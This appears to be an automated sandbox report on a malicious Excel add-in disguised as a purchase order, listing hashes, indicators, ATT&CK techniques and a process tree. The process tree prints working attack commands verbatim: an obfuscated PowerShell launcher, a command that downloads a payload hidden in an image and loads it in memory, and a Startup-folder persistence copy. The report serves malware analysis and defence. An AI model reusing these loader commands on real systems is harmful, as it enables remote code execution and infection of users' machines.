d4af8019f4fb6f832ad72af1304293684e5299a6f263228206efb74569d10e4b

Analysis

max time kernel
118s
max time network
121s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
28/08/2023, 08:54

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General

Target

New Order PO2087441006AUGUST.xlam
Size

715KB
MD5

34c74ed2300a242fb0c974a51c8c72e3
SHA1

5221f4f8f3d4c208cdba6933ed4eb9d6e6919021
SHA256

d4af8019f4fb6f832ad72af1304293684e5299a6f263228206efb74569d10e4b
SHA512

c6d32a3055abb916623c0d20e18453686b317da29a43a5e8a0b690eeb4b90274051f5bbd50ac05a9170770028f569a43e7d9ed904326b94476c67592ac60f2df
SSDEEP

12288:fu51V6q8xfTVjtiawK3VVOnjBmNB0d7UFBwYdG+IqK3uZuCnPO6rXL:fHZjUawOGgNBc7EW4GhqKj0PdXL

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

exe.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
3	3016	EQNEDT32.EXE
7	476	powershell.exe
9	476	powershell.exe
11	476	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ dWi.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ dWi.vbs	powershell.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
3016	EQNEDT32.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1232	PING.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2124	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2840	powershell.exe
2540	powershell.exe
476	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2840	powershell.exe
Token: SeDebugPrivilege	2540	powershell.exe
Token: SeDebugPrivilege	476	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2124	EXCEL.EXE
2124	EXCEL.EXE
2124	EXCEL.EXE

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 3016 wrote to memory of 2992	3016	EQNEDT32.EXE	29
PID 3016 wrote to memory of 2992	3016	EQNEDT32.EXE	29
PID 3016 wrote to memory of 2992	3016	EQNEDT32.EXE	29
PID 3016 wrote to memory of 2992	3016	EQNEDT32.EXE	29
PID 2992 wrote to memory of 2436	2992	WScript.exe	31
PID 2992 wrote to memory of 2436	2992	WScript.exe	31
PID 2992 wrote to memory of 2436	2992	WScript.exe	31
PID 2992 wrote to memory of 2436	2992	WScript.exe	31
PID 2436 wrote to memory of 1232	2436	cmd.exe	33
PID 2436 wrote to memory of 1232	2436	cmd.exe	33
PID 2436 wrote to memory of 1232	2436	cmd.exe	33
PID 2436 wrote to memory of 1232	2436	cmd.exe	33
PID 2436 wrote to memory of 2868	2436	cmd.exe	34
PID 2436 wrote to memory of 2868	2436	cmd.exe	34
PID 2436 wrote to memory of 2868	2436	cmd.exe	34
PID 2436 wrote to memory of 2868	2436	cmd.exe	34
PID 2868 wrote to memory of 2840	2868	cmd.exe	35
PID 2868 wrote to memory of 2840	2868	cmd.exe	35
PID 2868 wrote to memory of 2840	2868	cmd.exe	35
PID 2868 wrote to memory of 2840	2868	cmd.exe	35
PID 2992 wrote to memory of 2540	2992	WScript.exe	36
PID 2992 wrote to memory of 2540	2992	WScript.exe	36
PID 2992 wrote to memory of 2540	2992	WScript.exe	36
PID 2992 wrote to memory of 2540	2992	WScript.exe	36
PID 2540 wrote to memory of 476	2540	powershell.exe	38
PID 2540 wrote to memory of 476	2540	powershell.exe	38
PID 2540 wrote to memory of 476	2540	powershell.exe	38
PID 2540 wrote to memory of 476	2540	powershell.exe	38

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\New Order PO2087441006AUGUST.xlam"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2124

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:3016
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\etysvolp.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2992
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Roaming\etysvolp.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ dWi.vbs')"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2436
  - - C:\Windows\SysWOW64\PING.EXE
      ping 127.0.0.1 -n 5
      4⤵
      Runs ping.exe
      PID:1232
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Roaming\etysvolp.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ dWi.vbs')"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2868
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Roaming\etysvolp.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ dWi.vbs')
        5⤵
        Drops startup file
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2840
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 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Chr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)TwBmChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)BPChr(63)&Chr(63)GYChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)ZwBlChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)ZwB0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)KwChr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)uChr(63)&Chr(63)EwChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BhChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)FMChr(63)&Chr(63)dQBiChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)ByChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EwChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBDChr(63)&Chr(63)G8Chr(63)&Chr(63)bgB2Chr(63)&Chr(63)GUChr(63)&Chr(63)cgB0Chr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)EYChr(63)&Chr(63)cgBvChr(63)&Chr(63)G0Chr(63)&Chr(63)QgBhChr(63)&Chr(63)HMChr(63)&Chr(63)ZQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)UwB0Chr(63)&Chr(63)HIChr(63)&Chr(63)aQBuChr(63)&Chr(63)GcChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)bChr(63)&Chr(63)BvChr(63)&Chr(63)GEChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GQChr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBSChr(63)&Chr(63)GUChr(63)&Chr(63)ZgBsChr(63)&Chr(63)GUChr(63)&Chr(63)YwB0Chr(63)&Chr(63)GkChr(63)&Chr(63)bwBuChr(63)&Chr(63)C4Chr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)EwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)HQChr(63)&Chr(63)eQBwChr(63)&Chr(63)GUChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BsChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)GUChr(63)&Chr(63)ZChr(63)&Chr(63)BBChr(63)&Chr(63)HMChr(63)&Chr(63)cwBlChr(63)&Chr(63)G0Chr(63)&Chr(63)YgBsChr(63)&Chr(63)HkChr(63)&Chr(63)LgBHChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BUChr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)CgChr(63)&Chr(63)JwBGChr(63)&Chr(63)GkChr(63)&Chr(63)YgBlChr(63)&Chr(63)HIChr(63)&Chr(63)LgBIChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBlChr(63)&Chr(63)CcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)bQBlChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)BvChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)B0Chr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)TQBlChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)BvChr(63)&Chr(63)GQChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)FYChr(63)&Chr(63)QQBJChr(63)&Chr(63)CcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)YQByChr(63)&Chr(63)GcChr(63)&Chr(63)dQBtChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)HMChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)LChr(63)&Chr(63)Chr(63)&Chr(63)oChr(63)&Chr(63)CcChr(63)&Chr(63)dChr(63)&Chr(63)B4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBlChr(63)&Chr(63)GQChr(63)&Chr(63)bgChr(63)&Chr(63)vChr(63)&Chr(63)DgChr(63)&Chr(63)NChr(63)&Chr(63)Chr(63)&Chr(63)yChr(63)&Chr(63)C4Chr(63)&Chr(63)MQChr(63)&Chr(63)1Chr(63)&Chr(63)C4Chr(63)&Chr(63)NgChr(63)&Chr(63)3Chr(63)&Chr(63)C4Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)4Chr(63)&Chr(63)C8Chr(63)&Chr(63)LwChr(63)&Chr(63)6Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)dChr(63)&Chr(63)B0Chr(63)&Chr(63)GgChr(63)&Chr(63)JwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BtChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)G8Chr(63)&Chr(63)ZChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EkChr(63)&Chr(63)bgB2Chr(63)&Chr(63)G8Chr(63)&Chr(63)awBlChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BuChr(63)&Chr(63)HUChr(63)&Chr(63)bChr(63)&Chr(63)BsChr(63)&Chr(63)CwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GEChr(63)&Chr(63)cgBnChr(63)&Chr(63)HUChr(63)&Chr(63)bQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)BzChr(63)&Chr(63)CkChr(63)&Chr(63)';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('Chr(63)&Chr(63)','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2540
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.edn/842.15.67.08//:ptth');$method.Invoke($null, $arguments)"
      4⤵
      Blocklisted process makes network request
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:476

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Exploitation for Client Execution

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
71da7befc3e2853a5c3ad5968bd18a5b

SHA1
ae96228ad1b3c172732f4cfac06e78ed438ad8ea

SHA256
bee19d4cad85b9ea4c0e8b1662303823875aff0b33a5a58194d443f67c4540c1

SHA512
8571fe275421093d36008d012b255064c875fbf15d801e35aa0d1310bb5fdb064c7df919e61b0f9482fcd743a26199ef7fd82d58f6fe545207bdc548054c70d1

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabB01F.tmp

Filesize
62KB

MD5
3ac860860707baaf32469fa7cc7c0192

SHA1
c33c2acdaba0e6fa41fd2f00f186804722477639

SHA256
d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904

SHA512
d62ad2408c969a95550fb87efda50f988770ba5e39972041bf85924275baf156b8bec309ecc6409e5acdd37ec175dea40eff921ab58933b5b5b5d35a6147567c

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarB361.tmp

Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1R6TGYBM6559Q95G4OWW.temp

Filesize
7KB

MD5
d5daaf520df9ae529ade7d4ff91f39fb

SHA1
d178b84600c0d203c693f0a80f8cc1328e7fe0bd

SHA256
a226c617194599f1bdc2e23327592c3eacf60aece4b3281d3a2631c222240444

SHA512
9f61df3886ca13f0793e30119175f57d992b9c8c521960f1ee595d7f0f118d407b96e3fafecf1c553f43325ea9a8a642ab94027145c6cf03d90e02c0d6af35ad

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
d5daaf520df9ae529ade7d4ff91f39fb

SHA1
d178b84600c0d203c693f0a80f8cc1328e7fe0bd

SHA256
a226c617194599f1bdc2e23327592c3eacf60aece4b3281d3a2631c222240444

SHA512
9f61df3886ca13f0793e30119175f57d992b9c8c521960f1ee595d7f0f118d407b96e3fafecf1c553f43325ea9a8a642ab94027145c6cf03d90e02c0d6af35ad

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
d5daaf520df9ae529ade7d4ff91f39fb

SHA1
d178b84600c0d203c693f0a80f8cc1328e7fe0bd

SHA256
a226c617194599f1bdc2e23327592c3eacf60aece4b3281d3a2631c222240444

SHA512
9f61df3886ca13f0793e30119175f57d992b9c8c521960f1ee595d7f0f118d407b96e3fafecf1c553f43325ea9a8a642ab94027145c6cf03d90e02c0d6af35ad

Download Submit
C:\Users\Admin\AppData\Roaming\etysvolp.vbs

Filesize
176KB

MD5
17596fe61474e52c8750444ce076df60

SHA1
bfdf51115154ece9bf0b6a5956565a0b4f6a0883

SHA256
2677ac52033a1a7a7e5ee73009fd8f35bbf6c980768115e28d1af94217497d65

SHA512
bab2b6502721602f4e126e4b8a620aa389a7faedbf4fa75b0e40474fd10dcff89b451319bb863a4a528e0feacb26d1f546f171fd31113a3296fd45b2442ae83f

Download Submit
C:\Users\Admin\AppData\Roaming\etysvolp.vbs

Filesize
176KB

MD5
17596fe61474e52c8750444ce076df60

SHA1
bfdf51115154ece9bf0b6a5956565a0b4f6a0883

SHA256
2677ac52033a1a7a7e5ee73009fd8f35bbf6c980768115e28d1af94217497d65

SHA512
bab2b6502721602f4e126e4b8a620aa389a7faedbf4fa75b0e40474fd10dcff89b451319bb863a4a528e0feacb26d1f546f171fd31113a3296fd45b2442ae83f

Download Submit
memory/476-34-0x0000000000480000-0x00000000004C0000-memory.dmp

Filesize
256KB

Download
memory/476-106-0x000000006BE50000-0x000000006C3FB000-memory.dmp

Filesize
5.7MB

Download
memory/476-35-0x000000006BE50000-0x000000006C3FB000-memory.dmp

Filesize
5.7MB

Download
memory/476-33-0x000000006BE50000-0x000000006C3FB000-memory.dmp

Filesize
5.7MB

Download
memory/2124-110-0x00000000738FD000-0x0000000073908000-memory.dmp

Filesize
44KB

Download
memory/2124-109-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2124-1-0x00000000738FD000-0x0000000073908000-memory.dmp

Filesize
44KB

Download
memory/2124-16-0x00000000738FD000-0x0000000073908000-memory.dmp

Filesize
44KB

Download
memory/2124-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2540-26-0x000000006BE50000-0x000000006C3FB000-memory.dmp

Filesize
5.7MB

Download
memory/2540-24-0x00000000026A0000-0x00000000026E0000-memory.dmp

Filesize
256KB

Download
memory/2540-22-0x000000006BE50000-0x000000006C3FB000-memory.dmp

Filesize
5.7MB

Download
memory/2540-23-0x00000000026A0000-0x00000000026E0000-memory.dmp

Filesize
256KB

Download
memory/2540-107-0x000000006BE50000-0x000000006C3FB000-memory.dmp

Filesize
5.7MB

Download
memory/2540-25-0x00000000026A0000-0x00000000026E0000-memory.dmp

Filesize
256KB

Download
memory/2540-92-0x000000006BE50000-0x000000006C3FB000-memory.dmp

Filesize
5.7MB

Download
memory/2540-103-0x00000000026A0000-0x00000000026E0000-memory.dmp

Filesize
256KB

Download
memory/2540-104-0x00000000026A0000-0x00000000026E0000-memory.dmp

Filesize
256KB

Download
memory/2540-105-0x00000000026A0000-0x00000000026E0000-memory.dmp

Filesize
256KB

Download
memory/2840-15-0x000000006BE80000-0x000000006C42B000-memory.dmp

Filesize
5.7MB

Download
memory/2840-11-0x000000006BE80000-0x000000006C42B000-memory.dmp

Filesize
5.7MB

Download
memory/2840-12-0x000000006BE80000-0x000000006C42B000-memory.dmp

Filesize
5.7MB

Download
